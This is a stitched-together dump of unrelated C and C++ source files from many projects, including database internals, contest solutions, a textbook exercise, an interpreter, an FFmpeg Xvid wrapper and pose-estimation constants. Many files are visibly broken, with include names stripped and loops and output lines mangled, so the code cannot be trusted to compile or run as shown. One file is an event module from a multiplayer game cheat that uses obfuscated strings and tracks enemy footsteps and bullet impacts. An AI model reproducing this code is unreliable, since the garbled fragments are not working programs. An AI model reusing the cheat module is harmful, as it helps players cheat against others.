keyValueBuilder.append(keyValueElem); } } keyValue = keyValueBuilder.obj(); } else { keyValue = obj["keyValue"].Obj(); } BSONObj collation; if (auto collationElt = obj["collation"]) { collation = collationElt.Obj(); } FoundValue foundValue; if (auto foundValueElt = obj["foundValue"]) { if (foundValueElt.isABSONObj()) { foundValue = foundValueElt.Obj(); } else { foundValue = RecordId::deserializeToken(foundValueElt); } } return std::make_shared( keyPattern, keyValue, collation, std::move(foundValue)); } } // namespace mongo 10-100 /********************************************************************** * Online Judge : POJ * Problem Title : Faulty Odometer * ID : 2719 * Date : 4/27/2009 * Time : 8:7:32 * Computer Name : EVERLASTING-PC ***********************************************************************/ #include using namespace std; char s[11]; int n; int main() { //freopen("in_2719.txt","r",stdin); while(scanf("%s",&s)) { if(s[0]=='0') { break; } printf("%s: ",s); for(int i=0;i'4') { s[i]--; } } n=strtol(s,NULL,9); printf("%d\n",n); } return 0; } #include "pxt.h" #include "ev3const.h" namespace output { /** * Create a new zero-initialized buffer. * @param size number of bytes in the buffer */ //% Buffer createBuffer(int size) { return mkBuffer(NULL, size); } } namespace pxt { void target_init() { } } namespace motors { /** * Mark a motor as used */ //% void __motorUsed(int port, bool large) { } }yanshengjia/cplusplus-practice-range // Exercise 21.18: ex21_18.cpp // This program determines if a value is a multiple of X. #include using namespace std; bool multiple( int ); int main() { int y; cout << "Enter an integer between 1 and 32000: "; cin >> y; if ( multiple( y ) ) cout << y << " is a multiple of X" << endl; else cout << y << " is not a multiple of X" << endl; } // end main // determine if number is a multiple of X bool multiple( int number ) { bool isMultiple = true; for ( int i = 0, mask = 1; i < 10; i++, mask <<= 1 ) if ( ( number & mask ) != 0 ) { isMultiple = false; break; } // end if return isMultiple; } // end function multiple /************************************************************************** * (C) Copyright 1992-2010 by Deitel & Associates, Inc. and * * Pearson Education, Inc. All Rights Reserved. * * * * DISCLAIMER: The authors and publisher of this book have used their * * best efforts in preparing the book. These efforts include the * * development, research, and testing of the theories and programs * * to determine their effectiveness. The authors and publisher make * * no warranty of any kind, expressed or implied, with regard to these * * programs or to the documentation contained in these books. The authors * * and publisher shall not be liable in any event for incidental or * * consequential damages in connection with, or arising out of, the * * furnishing, performance, or use of these programs. * *************************************************************************/ filing-cabinet/expanding_circular_buffer.hpp // // Copyright (c) 2021 () // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // // Official repository: https://github.com/madmongo1/async_experiments // #ifndef ASIO_EXPERIMENTS_FILING_CABINET_EXPANDING_CIRCULAR_BUFFER_HPP #define ASIO_EXPERIMENTS_FILING_CABINET_EXPANDING_CIRCULAR_BUFFER_HPP #include namespace asio::detail { template < class T > struct expanding_circular_buffer { static constexpr std::size_t initial_capacity = 16; void push(T p) { if (size_ == capacity_) { if (!storage_) init(); else grow(); } size_ += 1; storage_[back_pos_] = p; if (++back_pos_ >= capacity_) back_pos_ -= capacity_; } T pop() { assert(size_); auto result = storage_[front_pos_]; if (++front_pos_ >= capacity_) front_pos_ -= capacity_; size_ -= 1; return result; } std::size_t size() const { return size_; } private: void init() { storage_ = std::make_unique< T[] >(initial_capacity); capacity_ = initial_capacity; front_pos_ = 0; back_pos_ = 0; } void grow() { if (capacity_ > std::numeric_limits< std::size_t >::max() / 2) throw std::bad_alloc(); auto new_cap = capacity_ * 2; auto new_storage = std::make_unique< T[] >(new_cap); std::size_t size = 0; // the front is ahead of the back (split buffer) if (back_pos_ <= front_pos_) { auto first = &new_storage[0]; auto last = std::copy(&storage_[front_pos_], &storage_[capacity_], first); last = std::copy(&storage_[0], &storage_[back_pos_], last); size = std::distance(first, last); assert(size == size_); } else { auto first = &new_storage[0]; auto last = std::copy(&storage_[front_pos_], &storage_[back_pos_], first); size = std::distance(first, last); assert(size == size_); } storage_ = std::move(new_storage); capacity_ = new_cap; front_pos_ = 0; back_pos_ = size; } std::size_t capacity_ = 0; std::size_t size_ = 0; std::size_t front_pos_ = 0; std::size_t back_pos_ = 0; std::unique_ptr< T[] > storage_; }; } // namespace asioex::detail #endif // ASIO_EXPERIMENTS_FILING_CABINET_EXPANDING_CIRCULAR_BUFFER_HPP tep3/lab3/NodeDynamic.cpp #include "NodeDynamic.h" NodeDynamic::~NodeDynamic() { cout << "usuwam " << val << "\n"; for (int i = 0; i < children.size(); i++) { delete children[i]; } } void NodeDynamic::addNewChild() { NodeDynamic* node = new NodeDynamic; node->parentNode = this; children.push_back(node); } void NodeDynamic::addExistChild(NodeDynamic* node) { node->parentNode = this; children.push_back(node); } NodeDynamic* NodeDynamic::getChild(int childOffset) { if (childOffset > getChildrenNumber()) { return NULL; } return children[childOffset]; } void NodeDynamic::printAllBelow() { print(); for (int i = 0; i < getChildrenNumber(); i++) { (*children[i]).printAllBelow(); } } void NodeDynamic::printUp() { print(); if (parentNode == NULL) { return; } parentNode->printUp(); } void NodeDynamic::deleteFromChildren() { for (int i = 0; i < parentNode->children.size(); i++) { if (parentNode->children[i] == this) { parentNode->children.erase(parentNode->children.begin() + i); return; } } } #ifndef TIMEMANAGER_HPP #define TIMEMANAGER_HPP #if TARGET_NSPIRE == 1 #include #else #include #include #include #include #include #include #include #include #include #endif class TimeManager { public: TimeManager(TimeManager&) = delete; TimeManager& operator= (const TimeManager&) = delete; static TimeManager& Get( void ); static void Delay( uint32_t ms ) {Get().InternalDelay( ms ); }; static void StartTicks( void ) { Get().InternalStartTicks( ); }; static uint32_t GetTicks( void ) { return Get().InternalGetTicks( ); }; static void Initialize( void ) { Get().InternalInitialize(); }; static void Close( void ) { Get().InternalClose(); }; protected: private: TimeManager(); static TimeManager m_timer; void InternalDelay( uint32_t ms ); void InternalStartTicks( void ); uint32_t InternalGetTicks( void ); void InternalInitialize( void ); void InternalClose( void ); // static volatile unsigned *value; // static volatile unsigned *control; uint32_t tick_sum; uint32_t start; }; #endif // TIMEMANAGER_HPP /******************************************************************************* * Copyright (c) 2020 * * * * This software is provided 'as-is', without any express or implied * * warranty. In no event will the authors be held liable for any damages * * arising from the use of this software. * * * * Permission is granted to anyone to use this software for any purpose, * * including commercial applications, and to alter it and redistribute it * * freely, subject to the following restrictions: * * * * 1. The origin of this software must not be misrepresented; you must not * * claim that you wrote the original software. If you use this software * * in a product, an acknowledgment in the product documentation would * * be appreciated but is not required. * * * * 2. Altered source versions must be plainly marked as such, and must not * * be misrepresented as being the original software. * * * * 3. This notice may not be removed or altered from any source * * distribution. * * * *******************************************************************************/ #include "DebugLayer.hpp" #include #include #include namespace SandboxApp{ static uint64_t frameCount = 0; static float minFPS = std::numeric_limits::max(); static float maxFPS = 0; // this can be zero as we shouldn't have negative FPS static float totalFrameTime = 0; static float fps = 0; static double averageFPS = 0; static glm::ivec2 dimensions; void DebugLayer::onAttach() { GEOGL_PROFILE_FUNCTION(); m_DebugName = "Debug Layer"; frameCount = 0; minFPS = std::numeric_limits::max(); maxFPS = 0; totalFrameTime = 0; fps = 0; averageFPS = -1; dimensions = {0,0}; } void DebugLayer::onDetach() { GEOGL_INFO("Called ondetach {}", m_DebugName); } void DebugLayer::onUpdate(GEOGL::TimeStep timeStep) { GEOGL_PROFILE_FUNCTION(); /* update stats */ totalFrameTime += timeStep; fps = 1.0f / (timeStep.getSeconds()); averageFPS = 1.0/(totalFrameTime/(double)frameCount); minFPS = (fps < minFPS) ? fps : minFPS; maxFPS = (fps > maxFPS) ? fps : maxFPS; dimensions = GEOGL::Application::get().getWindow().getDimensions(); } void DebugLayer::onImGuiRender(GEOGL::TimeStep timeStep) { GEOGL_PROFILE_FUNCTION(); /* Only run the fps min and max afterwords to give time to stabalize */ if(frameCount++ > 45) { auto stats = GEOGL::Renderer2D::getStatistics(); ImGui::Begin("Debug Info"); ImGui::SetWindowFontScale(1.25f); ImGui::Text("2D Draw Calls %d", GEOGL::Renderer2D::getStatistics().drawCalls); ImGui::Text("2D Quads %d", GEOGL::Renderer2D::getStatistics().quadCount); ImGui::Text("2D Vertices %d", GEOGL::Renderer2D::getStatistics().getTotalVertexCount()); ImGui::Text("2D Indices %d", GEOGL::Renderer2D::getStatistics().getTotalIndexCount()); ImGui::Text("Window size %d x %d", dimensions.x, dimensions.y); ImGui::Text("Aspect Ratio %f", (float)dimensions.x/(float)dimensions.y); ImGui::Text("VSync Enabled: %s", (GEOGL::Application::get().getWindow().isVSync()) ? "TRUE" : "FALSE"); ImGui::Text("FrameTime: %.2f ms", timeStep.getMilliseconds()); ImGui::Text("FPS: %.2f", fps); ImGui::Text("Min FPS: %.2f", minFPS); ImGui::Text("Max FPS: %.2f", maxFPS); ImGui::Text("Average FPS: %.2f", averageFPS); ImGui::Text("Frame Count: %llu", frameCount); ImGui::Text("Total Frame Time: %.2f s", totalFrameTime); ImGui::Text("Total Memory In Use: %.2f MB", GEOGL::getMegabytesAllocated() - GEOGL::getMegabytesDeallocated()); ImGui::Text("Total Memory Allocations: %zu", GEOGL::getNumberAllocations()); ImGui::Text("Total Memory Allocated: %.2f MB", GEOGL::getMegabytesAllocated()); ImGui::Text("Total Memory Deallocations: %zu", GEOGL::getNumberDeallocations()); ImGui::Text("Total Memory Deallocated: %.2f MB", GEOGL::getMegabytesDeallocated()); if(ImGui::Button("Clear FPS Information")){ fps=0; minFPS = std::numeric_limits::max(); maxFPS = 0; averageFPS = 0; frameCount = 0; totalFrameTime = 0; } ImGui::End(); }else{ ImGui::Begin("Preparing Debug Info"); ImGui::SetWindowFontScale(1.25f); ImGui::Text("Waiting for FPS to stabilize."); ImGui::End(); } } }source/problem0032.cpp /* * Pandigital products * * Problem 32 * * Created by quisseh on 12/18/15. */ #include "problem0032.h" /* * Loop through [i] and [j] from 1 up to [m_multipleMax]. * Each time around, multiply [i] and [j] and store the * product in [k]. Convert [i], [j], and [k] into strings * and store their concatenation in [ijk]. If [ijk] is * [m_panMax] characters long and [isPandigital], save * [k] in the [products] set. When done, add up all values * stored in [products], output, and return. */ void problem0032::run() { std::unordered_set products; for (int i = 1; i < m_multipleMax; ++i) { for (int j = 1; j < i; ++j) { int k = i * j; std::string ijk = std::to_string(i) + std::to_string(j) + std::to_string(k); if (ijk.length() != m_panMax) continue; if (peu::isPandigital(m_panMin, m_panMax, ijk)) products.insert(k); } } std::cout << std::accumulate(products.begin(), products.end(), 0); } src/bencoder.cc #include #include #include #include namespace nashalib{ void BEncoder::add_byte(unsigned char byte){ fwrite(&byte, sizeof(unsigned char), 1, ofile); cpos++; //printf("%02x ",byte); } void BEncoder::add_int(int number, int endianess){ (void)endianess; fwrite(&number, sizeof(int), 1, ofile); cpos += 4; //printf("%08x ", number); } void BEncoder::add_short(int number, int endianess){ (void)endianess; fwrite(&number, sizeof(short), 1, ofile); cpos += 2; //printf("%04x ", number); } void BEncoder::add_imm(int value, int size, int endianess){ (void)endianess; switch (size){ case 32: { add_int(value, endianess); break; } case 16: add_short(value, endianess); break; case 8: add_byte(value); break; } } void BEncoder::add_label(std::string label, bool relative){ struct label_map_entry * entry = NULL; entry = (struct label_map_entry*)malloc(sizeof(struct label_map_entry)); entry->pos = cpos; entry->relative = relative; entry->label = new char[label.size()+1]; strcpy(entry->label, label.c_str()); referenced_labels_map.push_back(entry); add_imm(0, 32, ENDIANESS__BIG_ENDIAN__); // can be zero because it will be set later } Label* BEncoder::_add_label(std::string label, int vis, section s){ if (s == section::_text){ Label * label_ = new Label(cpos, vis, s); labels.insert({label, label_}); return label_; } else if (s == section::_data){ Label * label_ = new Label(data_cpos, vis, s); labels.insert({label, label_}); return label_; } return NULL; } int BEncoder::_get_label(std::string label){ return labels[label]->offset; } int BEncoder::_get_cpos(){ return cpos; } Label * BEncoder::_get_label_obj(std::string label){ return labels[label]; } void BEncoder::_add_data( Data * _data){ data.push_back(_data); data_cpos += _data->size; } int BEncoder::_get_data_cpos(){ return data_cpos; } void BEncoder::_resolve_labels(){ int pos = 0; for (auto label: referenced_labels_map){ auto label_obj = labels[label->label]; //printf("label_p_address->[%d]; label_imm_pos->[%d]; label_identifier->[%s]\n", label_obj->offset, label->pos, label->label); if (label_obj->_section != section::_text){ relocation_entry * entry = new relocation_entry(label_obj->_section, label->pos); reloctable_table.push_back(entry); fseek(ofile, label->pos, SEEK_SET); fwrite(&label_obj->offset, sizeof(int), 1, ofile); } else{ if (label->relative){ pos = label_obj->offset - (label->pos+sizeof(int)); } else{ pos = label_obj->offset; } fseek(ofile, label->pos, SEEK_SET); fwrite(&pos, sizeof(int), 1, ofile); } } } }#include "Rpch.h" #include "RScriptableEntity.h" namespace At0::Ray { ScriptableEntity::ScriptableEntity( Entity entity, std::string_view filepath, std::string_view className) : Component(entity) { if (std::filesystem::path(filepath).extension() == "dll") m_Script = Mono::Script::FromCompiled(filepath); else m_Script = Mono::Script::FromFile(filepath); m_Object = m_Script.GetObject(className); } } // namespace At0::Ray #include "Ist.h" #ifndef _DEBUG #pragma optimize("s", on) #pragma auto_inline(off) #endif #include "ObjMem.h" #include "Interprt.h" #include "InterprtPrim.inl" template __forceinline static Oop* primitiveIntegerCompare(Oop* const sp, const P &pred) { // Normally it is better to jump on the failure case as the static prediction is that forward // jumps are not taken, but these primitives are normally only invoked when the special bytecode // has triggered the fallback method (unless performed), which suggests the arg will not be a // SmallInteger, so the 99% case is that the primitive should fail Oop arg = *sp; if (!ObjectMemoryIsIntegerObject(arg)) return nullptr; Oop receiver = *(sp - 1); // We can perform the comparisons without shifting away the SmallInteger bit since it always 1 *(sp - 1) = reinterpret_cast(pred(receiver, arg) ? Pointers.True : Pointers.False); return sp - 1; } Oop* __fastcall Interpreter::primitiveLessThan(Oop* const sp, unsigned) { return primitiveIntegerCompare(sp, std::less()); } Oop* __fastcall Interpreter::primitiveGreaterThan(Oop* const sp, unsigned) { return primitiveIntegerCompare(sp, std::greater()); } Oop* __fastcall Interpreter::primitiveLessOrEqual(Oop* const sp, unsigned) { return primitiveIntegerCompare(sp, std::less_equal()); } Oop* __fastcall Interpreter::primitiveGreaterOrEqual(Oop* const sp, unsigned) { return primitiveIntegerCompare(sp, std::greater_equal()); } Oop* __fastcall Interpreter::primitiveEqual(Oop* const sp, unsigned) { return primitiveIntegerCompare(sp, std::equal_to()); } Oop* __fastcall Interpreter::primitiveNotEqual(Oop* const sp, unsigned) { return primitiveIntegerCompare(sp, std::not_equal_to()); } //////////////////////////////////////////////////////////////////////////////; // SmallInteger Bit Manipulation Primitives template __forceinline static Oop* primitiveIntegerOp(Oop* const sp, const P &op) { Oop arg = *sp; if (!ObjectMemoryIsIntegerObject(arg)) return nullptr; Oop receiver = *(sp - 1); *(sp - 1) = op(receiver, arg); return sp - 1; } Oop* __fastcall Interpreter::primitiveBitAnd(Oop* const sp, unsigned) { return primitiveIntegerOp(sp, std::bit_and()); } Oop* __fastcall Interpreter::primitiveBitOr(Oop* const sp, unsigned) { return primitiveIntegerOp(sp, std::bit_or()); } Oop* __fastcall Interpreter::primitiveBitXor(Oop* const sp, unsigned) { struct bit_xor { Oop operator() (const Oop& receiver, const Oop& arg) const { return receiver ^ (arg - 1); } }; return primitiveIntegerOp(sp, bit_xor()); } Oop* __fastcall Interpreter::primitiveAnyMask(Oop* const sp, unsigned) { struct any_mask { bool operator() (const Oop& receiver, const Oop& arg) const { return (receiver & arg) != 1; } }; return primitiveIntegerCompare(sp, any_mask()); } Oop* __fastcall Interpreter::primitiveAllMask(Oop* const sp, unsigned) { struct all_mask { bool operator() (const Oop& receiver, const Oop& arg) const { return (receiver & arg) == arg; } }; return primitiveIntegerCompare(sp, all_mask()); } /****************************************** * File : main.cc * Date : 2017-06-03 * Author: * Email : *******************************************/ #include "pinger/pinger.h" #include "pinger/options.h" #include "glog/logging.h" #include using pinger::Pinger; using pinger::Options; int main(int argc, char **argv) { google::ParseCommandLineFlags(&argc, &argv, true); google::InitGoogleLogging(argv[0]); LOG(INFO) << "options:\n" << Options::Inst().ToString(); uint32_t src_ip = 0; inet_pton(AF_INET, "192.168.242.133", &src_ip); Pinger pinger(src_ip); pinger.Start(); pinger.SendRequest(); pinger.Wait(); return 0; } ds/bst_operations.cpp #include #define ll long long int using namespace std; class Node{ public: ll data; Node* left; Node* right; Node(){ this->data=0; left=NULL; right=NULL; } Node(ll d){ this->data=d; left=NULL; right=NULL; } }; void inorder(Node* x){ if(x==NULL){ return; } inorder(x->left); cout<data<<" "; inorder(x->right); } Node* insert(Node* x,ll data){ if(x==NULL){ Node* new_node=new Node(data); return new_node; } if(datadata){ x->left=insert(x->left,data); } else if(data>x->data){ x->right=insert(x->right,data); } return x; } void search(Node* x,ll data){ if(x==NULL){ cout<data==data){ cout<data>data){ search(x->left,data); } else{ search(x->right,data); } } Node* remove(Node* x,ll data){ if(x==NULL) return x; if(x->data>data){ x->left=remove(x->left,data); return x; } if(x->dataright=remove(x->right,data); return x; } if(x->left==NULL){ Node* tmp=x->right; delete x; return tmp; } if(x->right==NULL){ Node* tmp=x->left; delete x; return tmp; } Node* tmp=x->right; while(tmp!=NULL && tmp->left!=NULL){ tmp=tmp->left; } x->data=tmp->data; x->right=remove(x->right,tmp->data); return x; } int main(){ cout<<"Enter data in root node"<>a; Node* root=NULL; root=insert(root,a); cout<<"Inset 5 nodes in bst"<>b>>c>>d>>e>>f; root=insert(root,b); root=insert(root,c); root=insert(root,d); root=insert(root,e); root=insert(root,f); cout<<"After insertion inorder of bst will be"<>k; search(root,k); ll g,h; cout<<"Enter 2 element that you wana delete"<>g>>h; root=remove(root,g); root=remove(root,h); cout<<"After deletion bst will be"< #include #include "vector3.h" int main(int argc, char **argv) { (void)argc; (void)argv; const ekumen::math::Vector3 p(1, 2, 3); ekumen::math::Vector3 q; q = p; std::cout << "Hello world." << std::endl; return 0; } 10-100 #ifndef __OdeCFL_CommandQueue_hpp__ #define __OdeCFL_CommandQueue_hpp__ namespace levelset { class OdeCFL_OneSlice; class OdeCFL_CommandQueue_impl; class OdeCFL_CommandQueue { private: OdeCFL_CommandQueue_impl* pimpl; public: OdeCFL_OneSlice* pop(); void push(OdeCFL_OneSlice* command); OdeCFL_CommandQueue(); ~OdeCFL_CommandQueue(); private: OdeCFL_CommandQueue(const OdeCFL_CommandQueue& rhs); OdeCFL_CommandQueue& operator=(const OdeCFL_CommandQueue& rhs); }; }; #endif /* __OdeCFL_CommandQueue_hpp__ */ Source/HacknSlash/AI/BTTask_MoveToPlayer.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "HacknSlash.h" #include "BTTask_MoveToPlayer.h" #include "HacknSlashCharacter.h" #include "Character/EnemyController.h" #include "Runtime/AIModule/Classes/BehaviorTree/BehaviorTreeComponent.h" #include "Runtime/AIModule/Classes/BehaviorTree/BlackboardComponent.h" EBTNodeResult::Type UBTTask_MoveToPlayer::ExecuteTask(UBehaviorTreeComponent& OwnerComp, uint8* NodeMemory) { Super::ExecuteTask(OwnerComp, NodeMemory); AEnemyController* enemy = Cast(OwnerComp.GetAIOwner()); AHacknSlashCharacter* characterRef = Cast(OwnerComp.GetBlackboardComponent()->GetValueAsObject("Player")); if (characterRef) { enemy->MoveToActor(characterRef, 5.f); return EBTNodeResult::Succeeded; } return EBTNodeResult::Failed; } 01_Develop/libXMFFmpeg/Source/libavcodec/libxvid_rc.cpp /* * Xvid rate control wrapper for lavc video encoders * * Copyright (c) 2006 <> * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "internal.h" #include "XMFFmpeg/libavutil/file.h" //#include "dsputil.h" #include "mpegvideo.h" #if CONFIG_LIBXVID #include #include "libxvid_internal.h" extern unsigned int xvid_debug; int ff_xvid_rate_control_init(MpegEncContext *s){ char *tmp_name; int fd, i; xvid_plg_create_t xvid_plg_create; xvid_plugin_2pass2_t xvid_2pass2; //xvid_debug=-1; fd=av_tempfile("xvidrc.", &tmp_name, 0, s->avctx); if (fd == -1) { av_log(NULL, AV_LOG_ERROR, "Can't create temporary pass2 file.\n"); return -1; } for(i=0; irc_context.num_entries; i++){ static const char *frame_types = " ipbs"; char tmp[256]; RateControlEntry *rce; rce= &s->rc_context.entry[i]; snprintf(tmp, sizeof(tmp), "%c %d %d %d %d %d %d\n", frame_types[rce->pict_type], (int)lrintf(rce->qscale / FF_QP2LAMBDA), rce->i_count, s->mb_num - rce->i_count - rce->skip_count, rce->skip_count, (rce->i_tex_bits + rce->p_tex_bits + rce->misc_bits+7)/8, (rce->header_bits+rce->mv_bits+7)/8); //av_log(NULL, AV_LOG_ERROR, "%s\n", tmp); write(fd, tmp, strlen(tmp)); } close(fd); memset(&xvid_2pass2, 0, sizeof(xvid_2pass2)); xvid_2pass2.version= XVID_MAKE_VERSION(1,1,0); xvid_2pass2.filename= tmp_name; xvid_2pass2.bitrate= s->avctx->bit_rate; xvid_2pass2.vbv_size= s->avctx->rc_buffer_size; xvid_2pass2.vbv_maxrate= s->avctx->rc_max_rate; xvid_2pass2.vbv_initial= s->avctx->rc_initial_buffer_occupancy; memset(&xvid_plg_create, 0, sizeof(xvid_plg_create)); xvid_plg_create.version= XVID_MAKE_VERSION(1,1,0); xvid_plg_create.fbase= s->avctx->time_base.den; xvid_plg_create.fincr= s->avctx->time_base.num; xvid_plg_create.param= &xvid_2pass2; if(xvid_plugin_2pass2(NULL, XVID_PLG_CREATE, &xvid_plg_create, &s->rc_context.non_lavc_opaque)<0){ av_log(NULL, AV_LOG_ERROR, "xvid_plugin_2pass2 failed\n"); return -1; } return 0; } float ff_xvid_rate_estimate_qscale(MpegEncContext *s, int dry_run){ xvid_plg_data_t xvid_plg_data; memset(&xvid_plg_data, 0, sizeof(xvid_plg_data)); xvid_plg_data.version= XVID_MAKE_VERSION(1,1,0); xvid_plg_data.width = s->width; xvid_plg_data.height= s->height; xvid_plg_data.mb_width = s->mb_width; xvid_plg_data.mb_height= s->mb_height; xvid_plg_data.fbase= s->avctx->time_base.den; xvid_plg_data.fincr= s->avctx->time_base.num; xvid_plg_data.min_quant[0]= s->avctx->qmin; xvid_plg_data.min_quant[1]= s->avctx->qmin; xvid_plg_data.min_quant[2]= s->avctx->qmin; //FIXME i/b factor & offset xvid_plg_data.max_quant[0]= s->avctx->qmax; xvid_plg_data.max_quant[1]= s->avctx->qmax; xvid_plg_data.max_quant[2]= s->avctx->qmax; //FIXME i/b factor & offset xvid_plg_data.bquant_offset = 0; // 100 * s->avctx->b_quant_offset; xvid_plg_data.bquant_ratio = 100; // * s->avctx->b_quant_factor; #if 0 xvid_plg_data.stats.hlength= X #endif if(!s->rc_context.dry_run_qscale){ if(s->picture_number){ xvid_plg_data.length= xvid_plg_data.stats.length= (s->frame_bits + 7)/8; xvid_plg_data.frame_num= s->rc_context.last_picture_number; xvid_plg_data.quant= s->qscale; xvid_plg_data.type= s->last_pict_type; if(xvid_plugin_2pass2(s->rc_context.non_lavc_opaque, XVID_PLG_AFTER, &xvid_plg_data, NULL)){ av_log(s->avctx, AV_LOG_ERROR, "xvid_plugin_2pass2(handle, XVID_PLG_AFTER, ...) FAILED\n"); return -1; } } s->rc_context.last_picture_number= xvid_plg_data.frame_num= s->picture_number; xvid_plg_data.quant= 0; if(xvid_plugin_2pass2(s->rc_context.non_lavc_opaque, XVID_PLG_BEFORE, &xvid_plg_data, NULL)){ av_log(s->avctx, AV_LOG_ERROR, "xvid_plugin_2pass2(handle, XVID_PLG_BEFORE, ...) FAILED\n"); return -1; } s->rc_context.dry_run_qscale= xvid_plg_data.quant; } xvid_plg_data.quant= s->rc_context.dry_run_qscale; if(!dry_run) s->rc_context.dry_run_qscale= 0; if(s->pict_type == AV_PICTURE_TYPE_B) //FIXME this is not exactly identical to xvid return xvid_plg_data.quant * FF_QP2LAMBDA * s->avctx->b_quant_factor + s->avctx->b_quant_offset; else return xvid_plg_data.quant * FF_QP2LAMBDA; } void ff_xvid_rate_control_uninit(MpegEncContext *s){ xvid_plg_destroy_t xvid_plg_destroy; xvid_plugin_2pass2(s->rc_context.non_lavc_opaque, XVID_PLG_DESTROY, &xvid_plg_destroy, NULL); } #endifcheats/features/misc/events.cpp #include "events.hpp" #include "../../../SDK/IClientEntityList.hpp" #include "../../../SDK/ICvar.hpp" #include "../../../SDK/IVEngineClient.hpp" #include "../../../SDK/CGlobalVars.hpp" #include "../../../SDK/interfaces/interfaces.hpp" #include "../visuals/player.hpp" #include "../misc/misc.hpp" #include "../visuals/world.hpp" #include "../misc/logger.hpp" #include "../../game.hpp" #include "../../globals.hpp" #include "../../../utilities/console/console.hpp" #include "../../../config/vars.hpp" void Events::add(const std::string& eventName, const std::function& fun) { interfaces::eventManager->addListener(&events, eventName.c_str()); std::function m; m_events.emplace_back(StructEvent_t{ &events, eventName, fun }); } void Events::init() { add(XOR("player_death"), [](IGameEvent*) { //logger.push(Logger::Log_t("died", Colors::White, interfaces::globalVars->m_curtime + 3.0f)); } ); add(XOR("round_start"), [](IGameEvent*) { globals::shotsFired = 0, globals::shotsHit = 0, globals::shotsHead = 0; } ); add(XOR("player_hurt"), [](IGameEvent* e) { logger.add(Logger::Log_t(XOR("hurt event"), Colors::White, interfaces::globalVars->m_curtime + config.get(vars.fLogMaxTime))); misc.playHitmarker(e); } ); add(XOR("weapon_fire"), [](IGameEvent* e) { auto attacker = interfaces::entList->getClientEntity(interfaces::engine->getPlayerID(e->getInt(XOR("userid")))); if (!attacker) return; if (attacker == game::localPlayer) globals::shotsFired++; } ); add(XOR("bullet_impact"), [](IGameEvent* e) { auto attacker = interfaces::entList->getClientEntity(interfaces::engine->getPlayerID(e->getInt(XOR("userid")))); if (!attacker) return; if (attacker != game::localPlayer) return; auto local = reinterpret_cast(attacker); float x = e->getFloat(XOR("x")); float y = e->getFloat(XOR("y")); float z = e->getFloat(XOR("z")); Vector src = local->getEyePos(); Vector dst = { x, y, z }; world.pushLocalImpacts({ src, dst, interfaces::globalVars->m_curtime + config.get(vars.fDrawLocalSideImpacts) }); misc.drawBulletTracer(src, dst); } ); add(XOR("bomb_exploded"), [](IGameEvent*) { world.m_bombEnt = nullptr; } ); add(XOR("bomb_planted"), [](IGameEvent* e) { auto who = reinterpret_cast(interfaces::entList->getClientEntity(interfaces::engine->getPlayerID(e->getInt(XOR("userid"))))); if (!who) return; world.m_whoPlanted = who->getName(); } ); add(XOR("player_footstep"), [](IGameEvent* e) { auto who = reinterpret_cast(interfaces::entList->getClientEntity(interfaces::engine->getPlayerID(e->getInt(XOR("userid"))))); if (!who) return; if (!who->isPlayer()) return; if (who->isDormant()) return; visuals.pushStep(Visuals::StepData_t{ who, who->absOrigin(), interfaces::globalVars->m_curtime + config.get(vars.fStepTime) }); } ); console.log(TypeLogs::LOG_INFO, XOR("events init")); } void Events::FireGameEvent(IGameEvent* event) { if (auto it = std::find_if(m_events.cbegin(), m_events.cend(), [name = event->getName()](const StructEvent_t& el) { return el.m_name == name; }); it != m_events.cend()) { it->m_fun(event); } } void Events::shutdown() const { interfaces::eventManager->removeListener(&events); }/************************************************************************* * Copyright (C) [2021] by Cambricon, Inc. All rights reserved * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. *************************************************************************/ #include #include #include #include #include #include namespace cns_openpose { static const std::map kBody25PartStrs { {0, "Nose"}, {1, "Neck"}, {2, "RShoulder"}, {3, "RElbow"}, {4, "RWrist"}, {5, "LShoulder"}, {6, "LElbow"}, {7, "LWrist"}, {8, "MidHip"}, {9, "RHip"}, {10, "RKnee"}, {11, "RAnkle"}, {12, "LHip"}, {13, "LKnee"}, {14, "LAnkle"}, {15, "REye"}, {16, "LEye"}, {17, "REar"}, {18, "LEar"}, {19, "LBigToe"}, {20, "LSmallToe"}, {21, "LHeel"}, {22, "RBigToe"}, {23, "RSmallToe"}, {24, "RHeel"}, {25, "Background"} }; static const std::map kBodyCOCOPartStrs { {0, "Nose"}, {1, "Neck"}, {2, "RShoulder"}, {3, "RElbow"}, {4, "RWrist"}, {5, "LShoulder"}, {6, "LElbow"}, {7, "LWrist"}, {8, "RHip"}, {9, "RKnee"}, {10, "RAnkle"}, {11, "LHip"}, {12, "LKnee"}, {13, "LAnkle"}, {14, "REye"}, {15, "LEye"}, {16, "REar"}, {17, "LEar"}, {18, "Background"} }; using Keypoints = std::vector>; using Limbs = std::vector>>; static constexpr char kPoseKeypointsTag[] = "POSE_KEYPOINTS"; static constexpr char kPoseLimbsTag[] = "POSE_LIMBS"; } // namespace cns_openpose /* * Copyright 2015 WebAssembly Community Group participants * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * 